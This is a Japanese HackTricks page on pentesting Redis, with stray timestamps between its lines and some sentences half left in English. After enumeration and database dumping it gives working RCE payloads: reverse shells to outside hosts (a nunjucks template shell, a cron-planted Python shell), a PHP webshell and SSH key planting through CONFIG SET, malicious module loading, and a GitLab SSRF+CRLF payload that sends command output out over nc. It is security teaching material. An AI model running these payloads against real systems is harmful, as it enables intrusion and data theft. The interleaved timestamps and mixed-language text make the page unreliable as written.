2024-02-09 12:54:39 +00:00
# 6379 - Pentesting Redis
2022-04-28 16:01:33 +00:00
2024-07-19 11:50:08 +00:00
{% hint style="success" %}
AWSハッキングを学び、実践する: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCPハッキングを学び、実践する: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 11:50:08 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 11:50:08 +00:00
< summary > HackTricksをサポートする< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 11:50:08 +00:00
* [**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )を確認してください!
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
2022-04-28 16:01:33 +00:00
2024-02-09 12:54:39 +00:00
< / details >
2024-07-19 11:50:08 +00:00
{% endhint %}
2022-11-05 09:07:43 +00:00
2024-05-05 23:08:22 +00:00
< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2024-07-19 11:50:08 +00:00
[**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy )サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
2023-02-27 09:28:45 +00:00
2024-02-09 12:54:39 +00:00
**ハッキングの洞察**\
2024-07-19 11:50:08 +00:00
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
2023-02-27 09:28:45 +00:00
2024-02-09 12:54:39 +00:00
**リアルタイムハックニュース**\
2024-07-19 11:50:08 +00:00
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく
2023-07-14 16:20:47 +00:00
2024-07-19 11:50:08 +00:00
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
2023-07-14 16:20:47 +00:00
2024-07-19 11:50:08 +00:00
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
2022-11-05 09:07:43 +00:00
2023-07-07 23:42:27 +00:00
## 基本情報
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
[ドキュメント ](https://redis.io/topics/introduction )から: Redisはオープンソース( BSDライセンス) のインメモリ**データ構造ストア**で、**データベース**、キャッシュ、メッセージブローカーとして使用されます。
2024-02-09 12:54:39 +00:00
2024-07-19 11:50:08 +00:00
デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**を実装することもできることを念頭に置いておく必要があります。[ssl/tlsでRedisを実行する方法はこちら](https://fossies.org/linux/redis/TLS.md)を学んでください。
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
**デフォルトポート:** 6379
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE VERSION
2020-09-24 19:39:13 +00:00
6379/tcp open redis Redis key-value store 4.0.9
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
## 自動列挙
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
Redisインスタンスから情報を取得するのに役立ついくつかの自動化ツール:
2020-07-19 21:58:26 +00:00
```bash
2020-07-15 15:43:14 +00:00
nmap --script redis-info -sV -p 6379 < IP >
msf> use auxiliary/scanner/redis/redis_server
```
2024-07-19 11:50:08 +00:00
## 手動列挙
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### バナー
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
Redisは**テキストベースのプロトコル**であり、**ソケットにコマンドを送信するだけで**、返された値は読み取ることができます。また、Redisは**ssl/tls**を使用して実行できることを忘れないでください(ただし、これは非常に珍しいです)。
2020-07-20 15:31:30 +00:00
2024-02-09 12:54:39 +00:00
通常のRedisインスタンスでは、`nc`を使用して接続するか、`redis-cli`を使用することもできます:
2020-07-20 15:31:30 +00:00
```bash
2020-07-15 15:43:14 +00:00
nc -vn 10.10.10.10 6379
2020-07-20 15:31:30 +00:00
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:50:08 +00:00
最初のコマンドとして試すことができるのは ** `info` ** です。これは、Redisインスタンスの情報を含む出力を返すか、次のようなものが返される可能性があります:
2021-10-18 11:21:18 +00:00
```
2020-07-20 15:31:30 +00:00
-NOAUTH Authentication required.
```
2024-07-19 11:50:08 +00:00
In this last case, this means that **有効な資格情報が必要です** to access the Redis instance.
2024-02-14 23:26:09 +00:00
### Redis 認証
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
**デフォルトでは** Redis can be accessed **資格情報なしで** . However, it can be **設定されて** to support **パスワードのみ、またはユーザー名 + パスワード** .\
It is possible to **パスワードを設定する** in _**redis.conf**_ file with the parameter `requirepass` **または一時的に** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45` .\
Also, a **ユーザー名** can be configured in the parameter `masteruser` inside the _**redis.conf**_ file.
2020-07-15 15:43:14 +00:00
2020-07-20 15:31:30 +00:00
{% hint style="info" %}
2024-07-19 11:50:08 +00:00
If only password is configured the username used is "**default**".\
Also, note that there is **外部から確認する方法はありません** if Redis was configured with only password or username+password.
2020-07-20 15:31:30 +00:00
{% endhint %}
2024-07-19 11:50:08 +00:00
In cases like this one you will **有効な資格情報を見つける必要があります** to interact with Redis so you could try to [**ブルートフォース** ](../generic-methodologies-and-resources/brute-force.md#redis ) it.\
**有効な資格情報が見つかった場合は、接続を確立した後にセッションを認証する必要があります** with the command:
2020-07-20 15:31:30 +00:00
```bash
AUTH < username > < password >
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:50:08 +00:00
**有効な資格情報**には次のように応答されます: `+OK`
2020-07-15 15:43:14 +00:00
2024-05-05 23:08:22 +00:00
### **認証された列挙**
2024-04-06 18:36:04 +00:00
2024-07-19 11:50:08 +00:00
Redisサーバーが**匿名接続**を許可している場合、または有効な資格情報を取得している場合は、次の**コマンド**を使用してサービスの列挙プロセスを開始できます:
2020-07-19 22:28:20 +00:00
```bash
2020-07-20 15:31:30 +00:00
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:50:08 +00:00
**他のRedisコマンド** [**はこちら** ](https://redis.io/topics/data-types-intro ) **と** [**こちら** ](https://lzone.de/cheat-sheet/Redis )**.**
2024-04-06 18:36:04 +00:00
2024-07-19 11:50:08 +00:00
インスタンスの**Redisコマンドは** _redis.conf_ ファイルで名前を変更したり削除したりできます。例えば、この行はFLUSHDBコマンドを削除します:
2021-10-18 11:21:18 +00:00
```
2020-07-23 16:41:26 +00:00
rename-command FLUSHDB ""
```
2024-07-19 11:50:08 +00:00
Redisサービスを安全に構成する方法についての詳細はこちら: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04 ](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04 )
2024-04-06 18:36:04 +00:00
2024-07-19 11:50:08 +00:00
また、**`monitor`**コマンドを使用して実行されたRedisコマンドを**リアルタイムで監視**したり、**`slowlog get 25`**を使用して**25の最も遅いクエリ**を取得することもできます。
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
さらに興味深いRedisコマンドに関する情報はここで見つけることができます: [https://lzone.de/cheat-sheet/Redis ](https://lzone.de/cheat-sheet/Redis )
2020-07-20 15:31:30 +00:00
2023-07-07 23:42:27 +00:00
### **データベースのダンプ**
2020-07-23 22:06:31 +00:00
2024-07-19 11:50:08 +00:00
Redis内では、**データベースは0から始まる番号です**。`info`コマンドの出力内の「Keyspace」チャンクで、どのデータベースが使用されているかを確認できます:
2020-07-23 22:06:31 +00:00
2024-05-05 23:08:22 +00:00
![](< .. / . gitbook / assets / image ( 766 ) . png > )
2024-04-06 18:36:04 +00:00
2024-07-19 11:50:08 +00:00
または、次のコマンドで全ての**キー空間**(データベース)を取得することもできます:
2022-09-01 13:34:28 +00:00
```
INFO keyspace
```
2024-07-19 11:50:08 +00:00
その例では、**データベース 0 と 1** が使用されています。**データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります**。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります:
2020-07-23 22:06:31 +00:00
```bash
SELECT 1
[ ... Indicate the database ... ]
2023-07-07 23:42:27 +00:00
KEYS *
2020-07-23 22:06:31 +00:00
[ ... Get Keys ... ]
GET < KEY >
[ ... Get Key ... ]
```
2024-07-19 11:50:08 +00:00
`GET <KEY>` を実行中に`-WRONGTYPE Operation against a key holding the wrong kind of value`というエラーが発生した場合、それはキーが文字列や整数以外のものであり、表示するために特別なオペレーターが必要であるためです。
2021-11-07 19:50:21 +00:00
2024-02-09 12:54:39 +00:00
キーのタイプを知るには、`TYPE`コマンドを使用します。以下はリストとハッシュキーの例です。
2024-02-14 23:26:09 +00:00
```bash
2021-11-07 19:50:21 +00:00
TYPE < KEY >
[ ... Type of the Key ... ]
LRANGE < KEY > 0 -1
[ ... Get list items ... ]
HGET < KEY > < FIELD >
[ ... Get hash item ... ]
2024-02-14 23:26:09 +00:00
# If the type used is weird you can always do:
DUMP < key >
2021-11-07 19:50:21 +00:00
```
2024-07-19 11:50:08 +00:00
**npmを使用してデータベースをダンプする**[ **redis-dump** ](https://www.npmjs.com/package/redis-dump) **またはpython** [**redis-utils** ](https://pypi.org/project/redis-utils/ )
2020-07-15 15:43:14 +00:00
2024-05-05 23:08:22 +00:00
< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2024-07-19 11:50:08 +00:00
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
2023-02-27 09:28:45 +00:00
2024-02-09 12:54:39 +00:00
**ハッキングの洞察**\
2024-07-19 11:50:08 +00:00
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
2023-02-27 09:28:45 +00:00
2024-02-09 12:54:39 +00:00
**リアルタイムハックニュース**\
2024-07-19 11:50:08 +00:00
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を最新の状態に保ちましょう
2023-07-14 16:20:47 +00:00
2024-05-05 23:08:22 +00:00
**最新のお知らせ**\
2024-07-19 11:50:08 +00:00
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
2023-07-14 16:20:47 +00:00
2024-07-19 11:50:08 +00:00
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう!
2022-11-05 09:07:43 +00:00
2022-05-01 13:25:53 +00:00
## Redis RCE
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### インタラクティブシェル
2022-05-08 00:02:12 +00:00
2024-07-19 11:50:08 +00:00
[**redis-rogue-server** ](https://github.com/n0b0dyCN/redis-rogue-server )は、Redis(< =5.0.5)でインタラクティブシェルまたはリバースシェルを自動的に取得できます。
2022-05-08 00:02:12 +00:00
```
./redis-rogue-server.py --rhost < TARGET_IP > --lhost < ACCACKER_IP >
```
2022-06-25 09:48:48 +00:00
### PHP Webshell
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
[**こちら** ](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html )の情報。**Webサイトフォルダ**の**パス**を知っておく必要があります:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?> "
OK
10.85.0.52:6379> save
OK
```
2024-07-19 11:50:08 +00:00
ウェブシェルアクセス例外が発生した場合、バックアップ後にデータベースを空にして再試行できます。データベースを復元することを忘れないでください。
### テンプレートウェブシェル
2020-07-15 15:43:14 +00:00
2024-02-09 12:54:39 +00:00
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。
2022-06-25 09:48:48 +00:00
2024-07-19 11:50:08 +00:00
例えば、[**この書き込み**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジン**によって解釈される**HTMLにrevシェルを注入した**ことがわかります。
2022-06-25 09:48:48 +00:00
```javascript
{{ ({}).constructor.constructor(
2023-07-07 23:42:27 +00:00
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
2022-06-25 09:48:48 +00:00
)()}}
```
{% hint style="warning" %}
2024-07-19 11:50:08 +00:00
注意してください。**いくつかのテンプレートエンジンは**テンプレートを**メモリ**にキャッシュするため、上書きしても新しいものは**実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを実行する必要があります( 自動的に再起動されることを期待してください) 。
2022-06-25 09:48:48 +00:00
{% endhint %}
2022-05-01 13:25:53 +00:00
### SSH
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
例 [こちらから ](https://blog.adithyanak.com/oscp-preparation-guide/enumeration )
2020-07-20 15:31:30 +00:00
2024-07-19 11:50:08 +00:00
**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。**`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は _/var/lib/redis_ または _/home/redis/.ssh_ )が見つかり、これを知ることで、**redisユーザー**でssh経由でアクセスするために `authenticated_users` ファイルを書き込む場所がわかります。他の有効なユーザーのホームを知っていて、書き込み権限がある場合は、それを悪用することもできます:
2024-02-09 12:54:39 +00:00
2024-07-19 11:50:08 +00:00
1. PCでssh公開鍵-秘密鍵ペアを生成します:**`ssh-keygen -t rsa`**
2024-02-09 12:54:39 +00:00
2. 公開鍵をファイルに書き込みます:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
2024-07-19 11:50:08 +00:00
3. ファイルをredisにインポートします: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Redisサーバーの**authorized\_keys**ファイルに公開鍵を保存します:
2021-10-18 11:21:18 +00:00
2023-07-07 23:42:27 +00:00
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
2024-07-19 11:50:08 +00:00
5. 最後に、秘密鍵を使って**redisサーバー**に**ssh**接続できます:**ssh -i id\_rsa redis@10.85.0.52**
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
**この技術はここで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit ](https://github.com/Avinash-acid/Redis-Server-Exploit )
2020-07-20 15:31:30 +00:00
2022-05-01 13:25:53 +00:00
### Crontab
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
2024-07-19 11:50:08 +00:00
The last example is for Ubuntu, for **Centos** , the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
この方法はビットコインを得るためにも使用できます:[yam](https://www.v2ex.com/t/286981#reply14)
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
### Load Redis Module
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand ](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand ) の指示に従って、**任意のコマンドを実行するためのredisモジュールをコンパイル**できます。
2024-05-05 23:08:22 +00:00
2. 次に、**コンパイルされた**モジュールを**アップロードする方法**が必要です。
2024-07-19 11:50:08 +00:00
3. `MODULE LOAD /path/to/mymodule.so` で**アップロードされたモジュールを**ランタイムで**ロード**します。
4. `MODULE LIST` で**ロードされたモジュールをリスト**して、正しくロードされたか確認します。
2023-07-07 23:42:27 +00:00
5. **コマンドを実行**します:
2021-05-27 10:20:50 +00:00
2023-07-07 23:42:27 +00:00
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. 必要に応じてモジュールをアンロードします:`MODULE UNLOAD mymodule`
2021-05-27 10:20:50 +00:00
2024-07-19 11:50:08 +00:00
### LUA sandbox bypass
2020-07-20 15:31:30 +00:00
2024-07-19 11:50:08 +00:00
[**ここ** ](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html )で、Redisが**Luaコードをサンドボックス化して実行するために**コマンド**EVAL**を使用していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや不可能なようです。いずれにせよ、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿から**DoSを引き起こすためのオプション**も確認できます。
2020-07-20 15:31:30 +00:00
2024-07-19 11:50:08 +00:00
Luaから脱出するためのいくつかの**CVE**:
2022-05-16 21:20:15 +00:00
* [https://github.com/aodsec/CVE-2022-0543 ](https://github.com/aodsec/CVE-2022-0543 )
2024-07-19 11:50:08 +00:00
### Master-Slave Module
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
マスターレディスのすべての操作は自動的にスレーブレディスに同期されます。つまり、脆弱性のあるredisをスレーブredisと見なすことができ、マスターレディスに接続されている自分の制御下にあるredisにコマンドを入力できます。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
2024-07-19 11:50:08 +00:00
## SSRFがRedisと通信する
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
もし**平文**リクエストを**Redis**に送信できるなら、Redisはリクエストを行ごとに読み取り、理解できない行にはエラーで応答するため、**それと通信する**ことができます。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
2024-07-19 11:50:08 +00:00
したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**headers**( おそらくCRLF vulnを使用して) や**POSTパラメータ**を**制御**できる場合、Redisに任意のコマンドを送信することができます。
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
### 例: Gitlab SSRF + CRLF to Shell
2020-07-15 15:43:14 +00:00
2024-07-19 11:50:08 +00:00
**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようにしました( これにより127.0.0.1にアクセスします)、そして**CRLF**脆弱性は**URL**に**%0D%0A**文字を追加することで悪用されました。
2024-04-06 18:36:04 +00:00
2024-07-19 11:50:08 +00:00
したがって、これらの脆弱性を**悪用してRedisインスタンスと通信することが可能**であり、**gitlab**のキューを管理し、そのキューを悪用して**コード実行を取得することができました**。Redisキュー悪用ペイロードは:
2021-10-18 11:21:18 +00:00
```
2023-07-07 23:42:27 +00:00
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:50:08 +00:00
そして、**URLエンコード**リクエスト**を悪用したSSRF**と**CRLF**を使用して`whoami`を実行し、出力を`nc`経由で返すのは次の通りです:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
2024-07-19 11:50:08 +00:00
_For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_ ](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ ) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._
2024-04-06 18:36:04 +00:00
2024-05-05 23:08:22 +00:00
< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2024-07-19 11:50:08 +00:00
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください!
2023-02-27 09:28:45 +00:00
2024-02-09 12:54:39 +00:00
**ハッキングの洞察**\
2024-07-19 11:50:08 +00:00
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
2023-02-27 09:28:45 +00:00
2024-05-05 23:08:22 +00:00
**リアルタイムハックニュース**\
2024-07-19 11:50:08 +00:00
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を最新の状態に保ちましょう
2023-02-27 09:28:45 +00:00
2024-07-19 11:50:08 +00:00
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
2024-05-05 23:08:22 +00:00
2024-07-19 11:50:08 +00:00
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy) で私たちに参加し、トップハッカーとコラボレーションを始めましょう!
2023-07-14 16:20:47 +00:00
2024-07-19 11:50:08 +00:00
{% hint style="success" %}
AWSハッキングを学び、実践する: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCPハッキングを学び、実践する: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-05-05 23:08:22 +00:00
2024-07-19 11:50:08 +00:00
< details >
2024-05-05 23:08:22 +00:00
2024-07-19 11:50:08 +00:00
< summary > HackTricksをサポートする< / summary >
2024-05-05 23:08:22 +00:00
2024-07-19 11:50:08 +00:00
* [**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )を確認してください!
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )をフォローしてください。**
* [**HackTricks** ](https://github.com/carlospolop/hacktricks )および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングのトリックを共有してください。
2024-05-05 23:08:22 +00:00
< / details >
2024-07-19 11:50:08 +00:00
{% endhint %}